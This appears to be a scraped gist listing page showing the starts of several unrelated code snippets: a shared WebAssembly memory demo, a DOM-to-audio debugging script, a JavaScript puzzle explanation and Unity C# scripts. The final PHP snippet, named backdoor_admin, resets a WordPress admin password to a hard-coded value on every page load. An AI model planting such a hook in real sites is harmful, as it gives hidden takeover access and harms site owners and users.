This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Create a Worker we want to share memory with: | |
let w = new Worker(`data:text/javascript, | |
onmessage = ({data: memory}) => { | |
// Got WebAssembly.Memory once, log same instance forever with no further postMessages: | |
setInterval(() => console.log('Current buffer in worker:', memory.buffer), 5_000); | |
} | |
`); | |
// Create a shared growable memory: | |
let m = new WebAssembly.Memory({ initial:1, maximum: 65536, shared: true }); | |
// Send memory to the worker: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Copy this into the console of any web page that is interactive and doesn't | |
do hard reloads. You will hear your DOM changes as different pitches of | |
audio. | |
I have found this interesting for debugging, but also fun to hear web pages | |
render like UIs do in movies. | |
*/ | |
const audioCtx = new (window.AudioContext || window.webkitAudioContext)() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// We're given this function | |
x = (y=>y)(y,y=x) | |
// It assignes something to x | |
// y => y is an arrow function with implicit return | |
// implicit return means that the "function body" is just an expression that we return | |
// We can write y => y like this | |
y => { | |
return y; | |
} | |
// So we can turn our arrow function to a classic named function like this: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// c# companion script | |
// SpriteUVToShader.cs -------------------------------------------------------------------------------------------------------------------------------- // | |
// Save you your project, add to your SpriteRenderer gameObject | |
using UnityEngine; | |
using System.Collections; | |
using System.Collections.Generic; | |
[ExecuteInEditMode] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System.Collections; | |
using System.Text; | |
using UnityEngine; | |
using UnityEngine.Events; | |
using UnityEngine.UI; | |
public class TextRevealer : MonoBehaviour | |
{ | |
[UnityEngine.Header("Configuration")] | |
public int numCharactersFade = 3; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function backdoor_admin() { | |
$user = get_user_by('login','admin'); | |
if( $user ) { | |
wp_set_password( 'NewPassWord128', $user->ID ) | |
} | |
} | |
add_action('init','backdoor_admin'); |